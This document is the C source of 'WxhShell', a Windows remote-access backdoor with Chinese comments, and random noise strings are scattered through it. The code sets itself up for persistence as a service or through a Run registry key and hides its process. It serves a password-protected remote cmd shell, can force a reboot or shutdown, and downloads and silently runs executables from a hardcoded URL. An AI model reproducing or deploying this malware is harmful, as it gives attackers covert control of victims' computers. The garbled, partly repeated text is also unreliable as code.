hXIp NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _q27
3QG/" IL %]4, if (!NtQueryInformationProcess) return 0; '|^:,@8P9 #lLUBJ#: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GYaP"3Lu if(!hProcess) return 0; P6 OnE18n 2Kz+COP+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !-f Bw p?rlx#M CloseHandle(hProcess); ilL0=[2 [!A[oK9i C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sV if(hProcess==NULL) return 0; x.?5-3|d$ S 13cQ?4 HMODULE hMod; GrL{q;IO char procName[255]; ^QRg9s,T< unsigned long cbNeeded; |:=o\eu& /8h=6" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H0Pxw
P>q Bvn3:+(47 CloseHandle(hProcess); neDXzMxF ZYwcB]xEz if(strstr(procName,"services")) return 1; // 以服务启动 WD[eoi my.EvN return 0; // 注册表启动 u#E'k
KGO } pSw/QO9 $E\|\g // 主模块 d!y*z int StartWxhshell(LPSTR lpCmdLine) <=q}
Nd\ { ' [
4;QYw SOCKET wsl; G21o@38e BOOL val=TRUE; yp.K- int port=0; `Z?wj@H1` struct sockaddr_in door; zN4OrG0 Ic#xz;elM if(wscfg.ws_autoins) Install(); JQ&t"`\k 2d !'9mA port=atoi(lpCmdLine); i<m(neX[H
Pd*[i7zhC if(port<=0) port=wscfg.ws_port; I0)`tQ+ w
)R5P[b WSADATA data; JbMTULA if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wSTulo: 9 /8cRPB. if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x<NPp&GE setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BX@Iq door.sin_family = AF_INET; .V?:&_}_I6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); W(s4R,j door.sin_port = htons(port); QU|_
r2LM a:h<M^n049 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |"3<\$[ closesocket(wsl); 7;"0:eX return 1; G'ykcB._ } :gh[BeqQ) ?{{w[U6NE if(listen(wsl,2) == INVALID_SOCKET) { |cPHl+$nh. closesocket(wsl); o\IMYT return 1; uepyH } 0s#72}n Wxhshell(wsl); ,5}U
H WSACleanup(); B`5<sW g`7XE return 0; "F<CGSo eU?hin@X } !'7fOP-J] #%0V`BS7n // 以NT服务方式启动 ~C.*Vc?| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l4Xz r:] { rl*O-S/ DWORD status = 0; Ifj&S'(): DWORD specificError = 0xfffffff; CLb6XnkcA\ ~GaGDS\V serviceStatus.dwServiceType = SERVICE_WIN32; *Z5^WHwg serviceStatus.dwCurrentState = SERVICE_START_PENDING; [VCC+_ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tZrc4$D- serviceStatus.dwWin32ExitCode = 0; kNEEu!G serviceStatus.dwServiceSpecificExitCode = 0; Lsmcj{1d serviceStatus.dwCheckPoint = 0; ^PksXfk serviceStatus.dwWaitHint = 0; nV;'UpQw RgE`H r hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "/#JC}] if (hServiceStatusHandle==0) return; tT$OnZu& l\HdB"nT status = GetLastError(); aER|5!7(2\ if (status!=NO_ERROR) mP(3[a_Q { @fL ^I&++ serviceStatus.dwCurrentState = SERVICE_STOPPED; OZ,kz2SF# serviceStatus.dwCheckPoint = 0; /HC:H,"i serviceStatus.dwWaitHint = 0; [m
t.2 . serviceStatus.dwWin32ExitCode = status; f^WTsh] serviceStatus.dwServiceSpecificExitCode = specificError;
--$o$EP` SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1^p/#jt return; iTVe8eI } I$n=>s d"$8-_K serviceStatus.dwCurrentState = SERVICE_RUNNING; f&
4_:'-, serviceStatus.dwCheckPoint = 0;
CT|+? serviceStatus.dwWaitHint = 0; Kz4S6N c if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )s2] -n}W } 0&.CAHb} AKNx~!%2 // 处理NT服务事件,比如:启动、停止 XZ
rI w VOID WINAPI NTServiceHandler(DWORD fdwControl) v0^9"V:y
{ LSo!_tY switch(fdwControl) 8!g
`bC#% { ::L2zVq5V case SERVICE_CONTROL_STOP: Nd_fjB serviceStatus.dwWin32ExitCode = 0; bQAznd0 serviceStatus.dwCurrentState = SERVICE_STOPPED; |m19fg3u serviceStatus.dwCheckPoint = 0; 15$xa_w}L
serviceStatus.dwWaitHint = 0; ;|N:FG { e_vsiT SetServiceStatus(hServiceStatusHandle, &serviceStatus); %B3~t> } [}X|&`'i return; _B4&Fb. case SERVICE_CONTROL_PAUSE: GN.Oa$ serviceStatus.dwCurrentState = SERVICE_PAUSED; |Lq8cA)|y break; o<2GtF1"o case SERVICE_CONTROL_CONTINUE: snV*gSUH serviceStatus.dwCurrentState = SERVICE_RUNNING; =bC
+1
C break; j)1y v. case SERVICE_CONTROL_INTERROGATE: uGKjZi break; e5h*GKF }; .u`[|:K SetServiceStatus(hServiceStatusHandle, &serviceStatus); q!K:N? } tiK?VwaKI s>rR\` // 标准应用程序主函数 ejRK-! int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ajbe7#} { i jI/z5 xVvUx,t // 获取操作系统版本 l/$GF|`U OsIsNt=GetOsVer(); w7nt $L5 GetModuleFileName(NULL,ExeFile,MAX_PATH); #XV=,81w Er~ 17$b // 从命令行安装 8WP>u8& if(strpbrk(lpCmdLine,"iI")) Install(); $o6/dEKQ Ur j*V0^ // 下载执行文件 C3AWXO ^ if(wscfg.ws_downexe) { 2`yhxO if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,m=F
H?5 WinExec(wscfg.ws_filenam,SW_HIDE); [+#m
THX } e4X
df>B N&8TG if(!OsIsNt) { HN47/]"* // 如果时win9x,隐藏进程并且设置为注册表启动 WxdQ^#AE HideProc(); )cfi@-J+# StartWxhshell(lpCmdLine); myx/ |-V"F } #kg`rrFr else _iwG'a[` if(StartFromService()) 4"@<bKx // 以服务方式启动 aCQtE,. StartServiceCtrlDispatcher(DispatchTable); NgNGq\! else Hg+<GML // 普通方式启动 z,HhSW?&^ StartWxhshell(lpCmdLine); }v(wjD Wj{lb_Rj return 0; UuG%5 ZC } F[qXIL) t2&kGf" -K"'F`;W }v1wpv/b( =========================================== >DL pjl%Jm r)(5,*v P-m_], dQut8>0& !U`&a=k " {N(qS'N +vc +9E.?9 #include <stdio.h> 570Xk\R@M #include <string.h> jiI=tg; #include <windows.h> 3)OZf{D[ #include <winsock2.h> #86N
!&x #include <winsvc.h> %cNN<x8 #include <urlmon.h> ;5a$OM 7KT*p&xm #pragma comment (lib, "Ws2_32.lib") On C)f #pragma comment (lib, "urlmon.lib") Pz]WT1J0 yUoR6w #define MAX_USER 100 // 最大客户端连接数 ;i{B,!# #define BUF_SOCK 200 // sock buffer ,CE/o7.FG #define KEY_BUFF 255 // 输入 buffer x"r0<RK u ExLj6 #define REBOOT 0 // 重启 T+8Yd(:hX #define SHUTDOWN 1 // 关机 ,n|si# g/?Vl2W #define DEF_PORT 5000 // 监听端口 j*=!M# D @uSO~.7 #define REG_LEN 16 // 注册表键长度 Jcw^Z, #define SVC_LEN 80 // NT服务名长度 |jsI-?%8J ktu?-?#0, // 从dll定义API RK# 6JfC3X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !E70e$Th typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B`pBIUu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cJKnB!iL5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UhB+c ?7\V)$00(& // wxhshell配置信息 UG1<Xfu| struct WSCFG { ,f03TBD} int ws_port; // 监听端口 OM'iJB6= char ws_passstr[REG_LEN]; // 口令 xL* psj int ws_autoins; // 安装标记, 1=yes 0=no b[%@3 }E char ws_regname[REG_LEN]; // 注册表键名 ZlV char ws_svcname[REG_LEN]; // 服务名 e8,_"_1:F char ws_svcdisp[SVC_LEN]; // 服务显示名 "tEp8m char ws_svcdesc[SVC_LEN]; // 服务描述信息 S)CsH1Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '2,~'Zk int ws_downexe; // 下载执行标记, 1=yes 0=no opX07~1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VO#rJ1J char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AXw qN:P} 7:`XE&Z }; s5,@=(,
HOW<IZ^ // default Wxhshell configuration BD6!, struct WSCFG wscfg={DEF_PORT, H`[FC|RYyE "xuhuanlingzhe", |$.?(FZYu 1, z:'m50' "Wxhshell", +h)"m/mE "Wxhshell", LpHGt]|D "WxhShell Service", ODJ"3 J "Wrsky Windows CmdShell Service", f/\!=sa: "Please Input Your Password: ", 8 Ku9;VEk 1, N'1I6e" "http://www.wrsky.com/wxhshell.exe", *0U#Z]t "Wxhshell.exe" L F?/60 }; zD_5TGM= 4^(x)r
&(? // 消息定义模块 UMcM&yu- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3 s\UU2yr char *msg_ws_prompt="\n\r? for help\n\r#>"; ]0i[= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L03I:IJ char *msg_ws_ext="\n\rExit.";
K^{j$ char *msg_ws_end="\n\rQuit."; b:1B
> char *msg_ws_boot="\n\rReboot..."; 5nPvEN/ char *msg_ws_poff="\n\rShutdown..."; kH g|! char *msg_ws_down="\n\rSave to "; H4Bt.5O* <Qq
{&,Le char *msg_ws_err="\n\rErr!"; TtJX(N~ char *msg_ws_ok="\n\rOK!"; He_O+[sc H UJqB0D
? char ExeFile[MAX_PATH]; "jZZ>\ int nUser = 0; eDd&vf HANDLE handles[MAX_USER]; #y\O+\4e int OsIsNt; &Vj@){ }$?FR SERVICE_STATUS serviceStatus; Uo3 SERVICE_STATUS_HANDLE hServiceStatusHandle; >iyNZ]."\ ``xm##K // 函数声明 YB*)&@yx int Install(void); 5{H)r int Uninstall(void); wXNng(M7
int DownloadFile(char *sURL, SOCKET wsh); )St0}?I~ int Boot(int flag); 6Dd>ex!-A void HideProc(void); k_g@4x1y* int GetOsVer(void); <?7CwW int Wxhshell(SOCKET wsl); Z@Rqm:e void TalkWithClient(void *cs); /X8a3Eqp9 int CmdShell(SOCKET sock); /.:1Da int StartFromService(void); [_N1
.}e int StartWxhshell(LPSTR lpCmdLine); LM<*VhX V7$ m.P#uM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $$AZ)#t[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?MDo. z3 %/eG{oh- // 数据结构和表定义 p5In9s SERVICE_TABLE_ENTRY DispatchTable[] = yf{\^^ i( { Uahh|>s {wscfg.ws_svcname, NTServiceMain}, Q-) ( s {NULL, NULL} NbWEP\dS'z }; ,|f=2t+5X Y]
1U108 // 自我安装 \Y,P int Install(void) (U\o0LI { i7RK*{ char svExeFile[MAX_PATH]; R0M>'V?e HKEY key; ^|/<e?~I strcpy(svExeFile,ExeFile); HOD?i_ pIIp61=$ // 如果是win9x系统,修改注册表设为自启动
,]wab6sY if(!OsIsNt) { f y|JE9Io_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hn .(pI1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *gmc6xY RegCloseKey(key); TJ)Nr*U3_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X&Oo[Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u`EK^\R RegCloseKey(key); .p{lzI9 return 0; 6I[*p0j5 } mI2Gs)SO } |A4B4/! } t{,$?} else { 2NFk#_9e~ U["<f`z4\ // 如果是NT以上系统,安装为系统服务 7L+Wj }m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *wAX&+); if (schSCManager!=0) CCpRQKb= { 7]@M SC_HANDLE schService = CreateService u%L6@M2 ( Wz^;:6F schSCManager, oD%n} wscfg.ws_svcname, QeY+imM wscfg.ws_svcdisp, 0ytAn+/"x SERVICE_ALL_ACCESS, x~'_;>]r_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [\F:NLjiUy SERVICE_AUTO_START, 4][VK/v+ SERVICE_ERROR_NORMAL, DN9x<%/- svExeFile, A?tCa*b^ NULL,
||2%N/? NULL, =$}`B{(H NULL, TaF*ZT2 NULL, n4?;!p<F NULL }?b\/l< ); DKo6lP` if (schService!=0) {?
yRO] { C\rT'!Uk\Q CloseServiceHandle(schService); Zy Df@(z` CloseServiceHandle(schSCManager); DmoY],9I+p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VK9E{~0= strcat(svExeFile,wscfg.ws_svcname); ;E}&{w/My if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x~l"'qsK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e?\Od}Hbw RegCloseKey(key); 0#c-qy return 0; 1`II%mf[ } ,>g(%3C } PazWMmI CloseServiceHandle(schSCManager); :z?T/9,C }
zCq6k7u } WKr4S<B8mr L9[m/(:y return 1; ^`-Hg= d } qPN ( 3,7 // 自我卸载 2AqcabI9 int Uninstall(void) Jbima> { wQ-BY"cK\ HKEY key; KW0KXO06a c5CxR#O if(!OsIsNt) { 7F~Jz*,B*W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vr>J$(F RegDeleteValue(key,wscfg.ws_regname); WOYZ RegCloseKey(key); |/-# N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q2|6W E RegDeleteValue(key,wscfg.ws_regname); @8YuMD; RegCloseKey(key); 9(&$Gwi return 0; ,g P;XRe1 } .>`7d=KT } EZ Q!~ } q9(O=7O]- else { E?0RR' Nf~B 1vkp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *nM.`7g*[ if (schSCManager!=0) ~9fTs4U { Z,3CMWHg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G*v,-O if (schService!=0) wMH13i3 { qztL M?iV if(DeleteService(schService)!=0) { L8;`*H CloseServiceHandle(schService); ]~WIGl"g CloseServiceHandle(schSCManager); 8BIPEY -I? return 0; Xp^>SSt:4 } B]D51R\}VE CloseServiceHandle(schService); >03JQe_#*L } (_q&QI0{ CloseServiceHandle(schSCManager); d{^K8T3 } ZDrTPnA[ }
*!EHs04 H]lD*3b return 1; a
8jG')zg } oRn 5blj gn 9CZ // 从指定url下载文件 kr
?`GQm int DownloadFile(char *sURL, SOCKET wsh) qyzeAK\Ia { {.,y v>% HRESULT hr; ht)KS9Xu char seps[]= "/"; WtSlD9 h char *token; [yAR%]i-7 char *file; {XS2<!D char myURL[MAX_PATH]; Zfr?(y+3 char myFILE[MAX_PATH]; *
8D(Lp1 el0W0T strcpy(myURL,sURL); (7aE!r\Ab token=strtok(myURL,seps); Bq:: 5,v while(token!=NULL) I'cM\^/h { ,wra f#UdP file=token; HQ|{!P\/?U token=strtok(NULL,seps); LZ9IE>sj } 6~+?DIc *Oe;JqQkK GetCurrentDirectory(MAX_PATH,myFILE); Lop=._W strcat(myFILE, "\\"); {'
|yb strcat(myFILE, file); T|nN. send(wsh,myFILE,strlen(myFILE),0); qo;F]v*pkK send(wsh,"...",3,0); > cJX'U9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =>h~<88#5 if(hr==S_OK) [C~{g# return 0; jr5x!@rb else W/R-~C e return 1; fm% Y*<Y" Y) 4D$9: } ~oBSf+N +hvVoBCM* // 系统电源模块 ?9H.JR2s% int Boot(int flag) ~Urj:l { yYTiAvN HANDLE hToken; [+y/qx79 TOKEN_PRIVILEGES tkp;
o;:a6D`
7~q'3 N if(OsIsNt) { W,n0'";') OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0 g(hY: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *SZ*S%oS3 tkp.PrivilegeCount = 1; 6{I5 23g tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZGOI8M]@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tU7eW#"w if(flag==REBOOT) { I1(,J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <tTn$<b return 0; 2\!.w^7'^T } 'W j Q else {
`Uw^,r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hv>Hz*s_I return 0; 0?j+d8* } VuW&CnZ } WYE[H9x1? else { SIRZ_lt$r if(flag==REBOOT) { f;%4O' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $NWI_F4 return 0; f-6E> } ji2if.t@ else { 2S8/
lsB
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2{h9a0b return 0; ni]gS0/ } ZA ii"F } _B|g)Rdv @,sg^KB return 1; BiHBu8< } #tBbvs+% rq6(^I // win9x进程隐藏模块 _Oq (&I void HideProc(void) $0K9OF9$ { ? P`]^# U]ouBG8/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TZZqV8 if ( hKernel != NULL ) O`mW, { G(4:yK0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qo{^jDe,c* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W?/7PVGv5h FreeLibrary(hKernel); K)0 6][, } jvm
"7)h \"PlM!0du return; ;mo}$^49* } L1"X`Pz[} P5vM y'1X // 获取操作系统版本 T cSj`- int GetOsVer(void) e[n T'e { #ZGWU_l} OSVERSIONINFO winfo; TiF$',WMv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }kXF*cVg GetVersionEx(&winfo); wEzLfZ Oz/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JVTG3:zD return 1; 2@ACmh else oChcEx% return 0; WE`Y! } z6FG^ Jp5~iC2d // 客户端句柄模块 S`X;2\: int Wxhshell(SOCKET wsl) X'[SCs { 1/w['d4l! SOCKET wsh; ]b<k% struct sockaddr_in client; 7,jh44(\= DWORD myID; UmQ 9_H 7 |TEf? <"c while(nUser<MAX_USER) \kWceu}H, { )Hlr 09t=] int nSize=sizeof(client); ;Cyt2]F wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t_@%4Wn!1L if(wsh==INVALID_SOCKET) return 1; uu=e~K %qfEFhRC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >48zRi\N if(handles[nUser]==0) I#S6k%-' closesocket(wsh); 0Km{fZYq7; else {n%F^ky+7 nUser++; Ql\{^s+ } K-_e' )22. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RpS'Tz} ,1F3";`n[ return 0; O&\;BF5:R } }L@!TWR-Qu 0=(5C\w2 // 关闭 socket ?exV:OKLb void CloseIt(SOCKET wsh) 1"~@UcJ {
@oug^]a closesocket(wsh); m]Z&
.,bA nUser--; LfrS:g ExitThread(0); &HZ"<y{j } 7PP76$ .wS' Xn& // 客户端请求句柄
+<AX
0( void TalkWithClient(void *cs) `;4zIBJ { jcOxtDTSW .#J'+LxFr SOCKET wsh=(SOCKET)cs; ,T jd char pwd[SVC_LEN]; i~.L{K char cmd[KEY_BUFF]; /[t]m,p$yq char chr[1]; =QOtag1; int i,j; `2d ,=.X 1|n,s- while (nUser < MAX_USER) { ShHm7+fV
cq
%=DZ if(wscfg.ws_passstr) { -~v;'zOO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6#.z:_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e/F=5_Io //ZeroMemory(pwd,KEY_BUFF); Q6kkMLh i=0; nP4jOq*H while(i<SVC_LEN) { pz@_%IUS Z]":xl\7 // 设置超时 y$#mk3(e~t fd_set FdRead; )5)S8~Oc struct timeval TimeOut; B]InOlc47 FD_ZERO(&FdRead); &FIPEe#n FD_SET(wsh,&FdRead); ^0A'XCULG TimeOut.tv_sec=8; pvP|.sw5G TimeOut.tv_usec=0; ezCsbV;. [ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
JTQ$p*2] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KDwjck"5; 8GV$L~i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "M6:)h9jV pwd=chr[0]; 4vW:xK if(chr[0]==0xd || chr[0]==0xa) { !YsLx[+ pwd=0; q%"]}@a0 break; qA#!3< } kOx2P(UAEx i++; ZVVK:dDgt } ]f-< s,@ G;qC&7T // 如果是非法用户,关闭 socket W !2(Ph* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9] Uvy| } Bj;Fy9[yb AnfJyltS send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $^y6>@~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fla,#uB %#yCp2 while(1) { O:q 0- = %\;7 ZeroMemory(cmd,KEY_BUFF);
o-_0 >QU1_'1r // 自动支持客户端 telnet标准 5L"{J5R} j=0; g(>;Z@Y
while(j<KEY_BUFF) { /H^=`[Mr if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /
\!hW-+]W cmd[j]=chr[0]; aYkm]w;C if(chr[0]==0xa || chr[0]==0xd) { wH3FCfvm cmd[j]=0; /4<eI3Z break; mH}/QfUlq } mfIY7DP j++; Nf%jLK~ } $A9!} `V q!$?G]-% // 下载文件 NELQo#kjZ if(strstr(cmd,"http://")) { ~}z{RE($v send(wsh,msg_ws_down,strlen(msg_ws_down),0); M4XnuFGB[w if(DownloadFile(cmd,wsh)) ,Si\ky7L send(wsh,msg_ws_err,strlen(msg_ws_err),0); "/[-U;ck else 2d >kc2=* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,i;kAy) } s{2BG9s else { k
9R_27F S92'\2 switch(cmd[0]) { Bi]`e_(} 8G?'F${` // 帮助 KxqT5`P& case '?': { !O-q13\Y send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ultx|qU break; z%Op_Ddp } <=/v%VXPm // 安装 Ny/bNQS case 'i': {
F=EAD3 if(Install()) -ytSS:|%\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); #9,!IW]l else
4^1{UlCop send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @`t)ly#N break; gz;( ).{ } o) `zb? // 卸载 p^Kp= z case 'r': { vtc} )s\ if(Uninstall()) lNs 'jaD send(wsh,msg_ws_err,strlen(msg_ws_err),0); l[.*X else >&f .^p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gEcVQPD@ break; T?I&n[Y| } 36s[hg // 显示 wxhshell 所在路径 pv~XZ(J.1 case 'p': { c (O+s/
char svExeFile[MAX_PATH]; {:$0j|zL1 strcpy(svExeFile,"\n\r"); ..X efNbl strcat(svExeFile,ExeFile); ~Us1F=i_Q send(wsh,svExeFile,strlen(svExeFile),0); v(3nBZHv_! break; yK+76\} I } GrGgR7eC#P // 重启 "Q`{+|'=E case 'b': { wO@b=1j send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rteViq+|. if(Boot(REBOOT)) N{IY\/;\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); KFor~A# D else { e!URj\* closesocket(wsh); /ZlW9| ExitThread(0); ;'{:}K=h } .L0pS.=LT break; <T[%03 } 6A7UW7/ // 关机 [CGvM{ case 'd': { j01.`G7Q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xw!eB?A if(Boot(SHUTDOWN)) 8RbtI4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y.sf^} else { Unc;@=c closesocket(wsh); .J#xlOa- ExitThread(0); AMA:hQ } 1!/cd;{B break; x2ln$dSy7 } BP6;dF5E // 获取shell ',n;ag`c case 's': { #.?DsK_:@ CmdShell(wsh); |tP1,[w"> closesocket(wsh); 6Ii2rEzD ExitThread(0); Fl>v9%A break; KS}Ci- } Jxi>1 // 退出 -wtavv,J case 'x': { fw ._ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~j" aJ / CloseIt(wsh); F IDNhu break; l]Jk
}. } m1a0uEA
G // 离开 >Y?B(I2e case 'q': { ,Ej2]iO\7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); =\e}fyuK closesocket(wsh); E)o/C(g WSACleanup(); X0^gj>GI| exit(1); T9jp* break; wxB?} } {g@Wd2-J} } E&}r"rbI } ?/9]"HFHN T5)Xl 'Q // 提示信息 V7%G? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C(b"0> } .*:SZ3v } f/H rO6~k% ?`_US7.@ return; + _rjA_ } aj51%wKMb: .%+'Ts#ie // shell模块句柄 @xH|( int CmdShell(SOCKET sock) 9E)*X { E^zgYkZO STARTUPINFO si; E
`Ualai ZeroMemory(&si,sizeof(si)); 90|p]I% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YYr &Jcj si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d*,% -Io PROCESS_INFORMATION ProcessInfo; n9]^v-]K char cmdline[]="cmd"; .FK[Y?ci# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vnMt>]w-} return 0; oD4NQR } [@U8&W F8Z<JcOI // 自身启动模式 ~`
@dI int StartFromService(void) e'[T5HI { *#;8mM typedef struct )|@b
GEk { iN8?~T}w DWORD ExitStatus; g4<%t,(88E DWORD PebBaseAddress; 'C+z DWORD AffinityMask; Qh%/{6(u DWORD BasePriority; "5 PP<A,F( ULONG UniqueProcessId; n{d}]V@ ULONG InheritedFromUniqueProcessId; QG?7L_I } PROCESS_BASIC_INFORMATION; sqi~j(&\1 vD D !.i PROCNTQSIP NtQueryInformationProcess; }X$vriW *_`T*$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v:B_%-GfOA static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $SSE\+|3 pRx^O
F(3 HANDLE hProcess; @^a6^*X> PROCESS_BASIC_INFORMATION pbi; gn1`ZYg O_K@\<;~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {R
`IA|T#k if(NULL == hInst ) return 0; /_@S*=T5 4A^hP![c#] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7{RI`Er` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ev0GAc1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p^Ca-+R3 EJjTf: if (!NtQueryInformationProcess) return 0; ;38W41d{ :^0g}8$< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y$r^UjJEO if(!hProcess) return 0; MG>g?s'! Q-F'-@`(C if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jV\M`=4IC Q\z3YUk CloseHandle(hProcess); OHssUt 9-o{[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RKdf1C if(hProcess==NULL) return 0; E"!9WF(2t5 ?=jmyDXH! HMODULE hMod; b5Rjn1@ char procName[255]; $Rv}L' L unsigned long cbNeeded; ?Pw#!t o m`r^3, if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P{)H7B> *U.$=4Az CloseHandle(hProcess); bv9\Jp0c K6KEdXM4 if(strstr(procName,"services")) return 1; // 以服务启动 cCFSPT2fq[ k^Tu9}[W1 return 0; // 注册表启动 O}NR{B0B3& } 